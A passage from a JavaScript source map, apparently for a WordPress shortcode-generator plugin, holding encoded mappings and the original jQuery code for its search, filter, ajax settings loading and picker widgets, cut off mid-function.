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","file":"index.js","sourcesContent":["(function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=\"function\"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error(\"Cannot find module '\"+i+\"'\");throw a.code=\"MODULE_NOT_FOUND\",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=\"function\"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()","/* eslint-disable */\n\n/* global jQuery, wp, ajaxurl, SUGL10n */\n\nwindow.SUG = {}\n\nwindow.SUG.App = (($) => {\n  var $generator = $('#su-generator')\n  var $search = $('#su-generator-search')\n  var $filter = $('#su-generator-filter')\n  var $filters = $filter.children('a')\n  var $choices = $('#su-generator-choices')\n  var $choice = $choices.find('span')\n  var $settings = $('#su-generator-settings')\n  var $prefix = $('#su-compatibility-mode-prefix')\n  var $result = $('#su-generator-result')\n  var $selected = $('#su-generator-selected')\n\n  var self = {}\n\n  self.state = {\n    mceSelection: '',\n    target: '',\n    wpActiveEditor: null,\n    context: '',\n    insertArgs: '',\n    preview: {\n      timer: null,\n      request: null\n    }\n  }\n\n  self.el = {\n    body: $('body')\n  }\n\n  self.init = () => {\n    $filters.click(\n      function (e) {\n        // Prepare data\n        var filter = $(this).data('filter')\n        // If filter All, show all choices\n        if (filter === 'all') {\n          $choice.css(\n            {\n              opacity: 1\n            }\n          ).removeClass('su-generator-choice-first')\n        } else { // Else run search\n          var regex = new RegExp(filter, 'gi')\n          // Hide all choices\n          $choice.css({ opacity: 0.2 })\n          // Find searched choices and show\n          $choice.each(\n            function () {\n              // Get shortcode name\n              var group = $(this).data('group')\n              // Show choice if matched\n              if (group.match(regex) !== null) {\n                $(this)\n                  .css({ opacity: 1 })\n                  .removeClass('su-generator-choice-first')\n              }\n            }\n          )\n        }\n        e.preventDefault()\n      }\n    )\n    // Go to home link\n    $('#su-generator').on(\n      'click',\n      '.su-generator-home',\n      function (e) {\n        // Clear search field\n        $search.val('')\n        // Hide settings\n        $settings.html('').hide()\n        // Remove narrow class\n        $generator.removeClass('su-generator-narrow')\n        // Show filters\n        $filter.show()\n        // Show choices panel\n        $choices.show()\n        $choice.show()\n        // Clear selection\n        self.state.mceSelection = ''\n        // Focus search field\n        $search.focus()\n        e.preventDefault()\n      }\n    )\n    // Generator close button\n    $('#su-generator').on(\n      'click',\n      '.su-generator-close',\n      function (e) {\n        // Close popup\n        $.magnificPopup.close()\n        // Prevent default action\n        e.preventDefault()\n      }\n    )\n    // Search field\n    $search.on(\n      {\n        focus: function () {\n          // Clear field\n          $(this).val('')\n          // Hide settings\n          $settings.html('').hide()\n          // Remove narrow class\n          $generator.removeClass('su-generator-narrow')\n          // Show choices panel\n          $choices.show()\n          $choice.css(\n            {\n              opacity: 1\n            }\n          ).removeClass('su-generator-choice-first')\n          // Show filters\n          $filter.show()\n        },\n        blur: function () {},\n        keyup: function (e) {\n          // Prepare vars\n          var $first = $('.su-generator-choice-first:first')\n          var val = $(this).val()\n          var regex = new RegExp(val, 'gi')\n          var best = 0\n          // Hotkey action\n          if (e.keyCode === 13 && $first.length > 0) {\n            e.preventDefault()\n            $(this).val('').blur()\n            $first.trigger('click')\n          }\n          // Hide all choices\n          $choice.css(\n            {\n              opacity: 0.2\n            }\n          ).removeClass('su-generator-choice-first')\n          // Loop and highlight choices\n          $choice.each(\n            function () {\n              // Get choice data\n              var data = $(this).data()\n              var id = data.shortcode\n              var name = data.name\n              var desc = data.desc\n              var group = data.group\n              var matches = ([id, name, desc, group].join(' ')).match(regex)\n              // Highlight choice if matched\n              if (matches !== null) {\n                // Highlight current choice\n                $(this).css(\n                  {\n                    opacity: 1\n                  }\n                )\n                // Check for exact match\n                if (val === id) {\n                  // Remove primary class from all choices\n                  $choice.removeClass('su-generator-choice-first')\n                  // Add primary class to the current choice\n                  $(this).addClass('su-generator-choice-first')\n                  // Prevent selecting by matches number\n                  best = 999\n                } else if (matches.length > best) { // Check matches length\n                  // Remove primary class from all choices\n                  $choice.removeClass('su-generator-choice-first')\n                  // Add primary class to the current choice\n                  $(this).addClass('su-generator-choice-first')\n                  // Save the score\n                  best = matches.length\n                }\n              }\n            }\n          )\n          // Remove primary class if search field is empty\n          if (val === '') {\n            $choice.removeClass('su-generator-choice-first')\n          }\n        }\n      }\n    )\n    // Click on shortcode choice\n    $choice.on(\n      'click',\n      function (e) {\n        // Prepare data\n        var shortcode = $(this).data('shortcode')\n        // Load shortcode options\n        $.ajax(\n          {\n            type: 'POST',\n            url: ajaxurl,\n            data: {\n              action: 'su_generator_settings',\n              shortcode: shortcode\n            },\n            beforeSend: function () {\n              // Hide preview box\n              $('#su-generator-preview').hide()\n              // Hide choices panel\n              $choices.hide()\n              // Show loading animation\n              $settings.addClass('su-generator-loading').show()\n              // Add narrow class\n              $generator.addClass('su-generator-narrow')\n              // Hide filters\n              $filter.hide()\n            },\n            success: function (data) {\n              // Hide loading animation\n              $settings.removeClass('su-generator-loading')\n              // Insert new HTML\n              $settings.html(data)\n              // Apply selected text to the content field\n              var $content = $('#su-generator-content')\n              if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\n                $content.val(self.state.mceSelection)\n              }\n              // Init range pickers\n              $('.su-generator-range-picker').each(\n                function (index) {\n                  var $picker = $(this)\n                  var $val = $picker.find('input')\n                  var min = $val.attr('min')\n                  var max = $val.attr('max')\n                  var step = $val.attr('step')\n                  // Apply noUIslider\n                  $val.simpleSlider(\n                    {\n                      snap: true,\n                      step: step,\n                      range: [min, max]\n                    }\n                  )\n                  $val.show()\n                  $val.on(\n                    'keyup blur',\n                    function (e) {\n                      $val.simpleSlider('setValue', $val.val())\n                    }\n                  )\n                }\n              )\n              // Init color pickers\n              $('.su-generator-select-color').each(\n                function (index) {\n                  $(this).find('.su-generator-select-color-wheel').filter(':first').farbtastic('.su-generator-select-color-value:eq(' + index + ')')\n                  $(this).find('.su-generator-select-color-value').focus(\n                    function () {\n                      $('.su-generator-select-color-wheel:eq(' + index + ')').show()\n                    }\n                  )\n                  $(this).find('.su-generator-select-color-value').blur(\n                    function () {\n                      $('.su-generator-select-color-wheel:eq(' + index + ')').hide()\n                    }\n                  )\n                }\n              )\n              // Init image sourse pickers\n              $('.su-generator-isp').each(\n                function () {\n                  var $picker = $(this)\n                  var $sources = $picker.find('.su-generator-isp-sources')\n                  var $source = $picker.find('.su-generator-isp-source')\n                  var $addMedia = $picker.find('.su-generator-isp-add-media')\n                  var $images = $picker.find('.su-generator-isp-images')\n                  var $cats = $picker.find('.su-generator-isp-categories')\n                  var $taxes = $picker.find('.su-generator-isp-taxonomies')\n                  var $terms = $('.su-generator-isp-terms')\n                  var $val = $picker.find('.su-generator-attr')\n                  var frame\n                  // Update hidden value\n                  var update = function () {\n                    var val = 'none'\n                    var ids = ''\n                    var source = $sources.val()\n                    // Media library\n                    if (source === 'media') {\n                      var images = []\n                      $images.find('span').each(\n                        function (i) {\n                          images[i] = $(this).data('id')\n                        }\n                      )\n                      if (images.length > 0) {\n                        ids = images.join(',')\n                      }\n                    }\n                    // Category\n                    else if (source === 'category') {\n                      var categories = $cats.val() || []\n                      if (categories.length > 0) {\n                        ids = categories.join(',')\n                      }\n                    }\n                    // Taxonomy\n                    else if (source === 'taxonomy') {\n                      var tax = $taxes.val() || ''\n                      var terms = $terms.val() || []\n                      if (tax !== '0' && terms.length > 0) {\n                        val = 'taxonomy: ' + tax + '/' + terms.join(',')\n                      }\n                    }\n                    // Deselect\n                    else if (source === '0') {\n                      val = 'none'\n                    }\n                    // Other options\n                    else {\n                      val = source\n                    }\n                    if (ids !== '') {\n                      val = source + ': ' + ids\n                    }\n                    $val.val(val).trigger('change')\n                  }\n                  // Switch source\n                  $sources.on(\n                    'change',\n                    function (e) {\n                      var source = $(this).val()\n                      e.preventDefault()\n                      $source.removeClass('su-generator-isp-source-open')\n                      if (source.indexOf(':') === -1) {\n                        $picker.find('.su-generator-isp-source-' + source).addClass('su-generator-isp-source-open')\n                      }\n                      update()\n                    }\n                  )\n                  // Remove image\n                  $images.on(\n                    'click',\n                    'span i',\n                    function () {\n                      $(this).parent('span').css('border-color', '#f03').fadeOut(\n                        300,\n                        function () {\n                          $(this).remove()\n                          update()\n                        }\n                      )\n                    }\n                  )\n                  // Add image\n                  $addMedia.click(\n                    function (e) {\n                    